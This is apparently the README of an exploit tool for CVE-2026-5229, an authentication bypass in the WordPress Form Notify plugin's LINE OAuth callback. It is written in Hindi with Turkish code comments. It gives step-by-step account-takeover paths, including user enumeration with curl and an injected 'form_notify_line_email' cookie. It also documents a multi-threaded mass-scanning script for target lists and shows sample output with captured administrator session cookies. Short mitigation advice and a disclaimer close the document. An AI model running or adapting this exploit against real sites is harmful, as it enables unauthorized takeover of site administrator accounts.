
CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) भेद्यता प्रकार: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hप्रभावित संस्करण: <= 1.1.10 पैच संस्करण: 1.1.11+ शोधकर्ता: Paolo Tresso — Wordfence
Form Notify प्लगइन, फ़ॉर्म सबमिशन के बाद सूचना भेजने वाला और LINE Login OAuth 2.0 एकीकरण प्रदान करने वाला एक WordPress प्लगइन है।
भेद्यता LINE OAuth कॉलबैक हैंडलर में मौजूद है। उपयोगकर्ता द्वारा LINE प्राधिकरण प्रवाह पूरा करने के बाद, प्लगइन WordPress खाते को केवल ईमेल पते के आधार पर हल करता है। यह कभी जांच नहीं करता कि LINE खाता पहले से उस WordPress खाते से जुड़ा है या नहीं।
| संस्करण | भेद्यता | हमला विधि |
|---|---|---|
| <= 1.1.08 | Cookie इंजेक्शन + ईमेल मिलान | पथ A या पथ B |
| 1.1.09 – 1.1.10 | ईमेल मिलान (कुकी हटा दी गई) | पथ B |
| 1.1.11+ | पैच किया गया | — |
LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
WordPress nonce CSRF टोकन होते हैं, प्रमाणीकरण टोकन नहीं। कोई भी आगंतुक पृष्ठ HTML से एक वैध nonce प्राप्त कर सकता है और सत्यापन जांच पास कर सकता है।
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
यदि मिलान मिलता है, तो login() विधि तुरंत सत्र खोलती है:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
जब LINE प्रोफ़ाइल ईमेल नहीं लौटाती ($user->email खाली), तो प्लगइन
सीधे ब्राउज़र कुकी पढ़ता है। हमलावर इस कुकी को पूरी तरह से नियंत्रित
करता है।
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
यदि Transient की समय सीमा समाप्त हो गई है, तो $_SESSION फ़ॉलबैक
सक्रिय हो जाता है। अधिकांश WordPress इंस्टॉलेशन में इस बिंदु पर
$_SESSION भरा नहीं होता → state नियंत्रण को दरकिनार किया जा सकता है।
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
LINE OAuth प्रवाह के माध्यम से बनाए गए खातों में पासवर्ड ईमेल पते के समान होता है। यह सीधे brute-force या लॉगिन हमले की अनुमति देता है।
| कारण | विवरण |
|---|---|
| प्रमाणीकरण आवश्यक नहीं | कॉलबैक एंडपॉइंट पूरी तरह से सार्वजनिक |
| लिंकेज नियंत्रण नहीं | कोई भी LINE खाता पर्याप्त |
| कुकी हमला | <= 1.1.08 में ईमेल भी आवश्यक नहीं |
| एडमिन सहित सभी खाते | get_user_by('email') सभी को प्रभावित करता है |
| कमजोर state नियंत्रण | CSRF सुरक्षा को दरकिनार किया जा सकता है |
| ईमेल = पासवर्ड | OAuth से बनाए गए खाते सरल brute-force के लिए खुले हैं |
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
पूर्वापेक्षाएँ:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
ब्राउज़र डेवलपर टूल खोलें और कंसोल में पेस्ट करें:
document.cookie = "[email protected]; path=/";
या curl के साथ:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Location हेडर में LINE OAuth URL को ब्राउज़र में खोलें।
LINE सहमति स्क्रीन पर ईमेल अनुमति न दें या बिना ईमेल वाला LINE खाता उपयोग करें। LINE, ईमेल के बिना कॉलबैक पर रीडायरेक्ट करेगा। प्लगइन कुकी पर निर्भर हो जाता है।
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
अपेक्षित प्रतिक्रिया:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
पथ A चरण 1 के समान।
account.line.biz पर लक्ष्य ईमेल के साथ LINE खाता बनाएँ।
(ईमेल सत्यापन आवश्यक है — लक्ष्य इनबॉक्स तक पहुंच अनिवार्य है।)
https://target.com/wp-json/form-notify/v1/login
LINE सहमति स्क्रीन पर ईमेल अनुमति दें। LINE, ईमेल पता कॉलबैक पर लौटाता है।
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| पैरामीटर | लघु | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड संख्या | 10 |
--output | -o | आउटपुट फ़ाइल | auth_bypass.txt |
--email | — | लक्ष्य उपयोगकर्ता ईमेल | स्वचालित खोज |
--path | — | हमला पथ (A / B / both) | both |
--max-users | — | प्रति लक्ष्य अधिकतम उपयोगकर्ता | 5 |
--proxy | — | प्रॉक्सी URL | — |
--timeout | — | अनुरोध टाइमआउट (सेकंड) | 10 |
| स्थिति | विवरण |
|---|---|
★ AUTH OK | सत्र कुकी प्राप्त — पूरी तरह से स्वचालित |
★ WP-ADMIN | /wp-admin पर रीडायरेक्ट किया गया |
~ MANUAL | OAuth URL तैयार, ब्राउज़र में पूरा करें |
~ PATH B | LINE खाते के साथ मैन्युअल चरण |
- NO_PLUGIN | Form Notify स्थापित नहीं |
- NO_LINE | LINE Login सक्रिय नहीं |
~ NO_TARGET | उपयोगकर्ता ईमेल नहीं मिला |
~ UNREACH | लक्ष्य तक नहीं पहुँचा जा सकता |
[*] 3 लक्ष्य | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (पथ A)
लक्ष्य ईमेल : [email protected]
संस्करण : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
उपयोगकर्ता : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (पथ A — मैन्युअल पूर्णता)
लक्ष्य ईमेल : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login सक्रिय नहीं)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| उपाय | कार्यान्वयन |
|---|---|
| प्लगइन अद्यतन | Form Notify 1.1.11+ संस्करण में अपग्रेड करें |
| LINE लिंकेज नियंत्रण | LINE ID को उपयोगकर्ता मेटा में सहेजें, प्रत्येक लॉगिन पर सत्यापित करें |
| कुकी फ़ॉलबैक हटाएँ | $_COOKIE['form_notify_line_email'] का उपयोग हटाएँ |
| State सत्यापन | Transient फ़ॉलबैक हटाएँ, समय समाप्त state को अस्वीकार करें |
| पासवर्ड नीति | sign_up() में ईमेल को पासवर्ड के रूप में उपयोग न करें |
| REST एंडपॉइंट सुरक्षा | कॉलबैक एंडपॉइंट पर रेट लिमिटिंग लागू करें |
सुरक्षित खाता हल करने का उदाहरण:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
यह उपकरण और PoC केवल अधिकृत सिस्टम्स पर, शैक्षिक उद्देश्यों के लिए और पेनिट्रेशन परीक्षण के दायरे में उपयोग के लिए तैयार किया गया है। बिना अनुमति के सिस्टम पर इसका उपयोग तुर्की दंड संहिता की धारा 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध है। डेवलपर उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।
MIT लाइसेंस — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।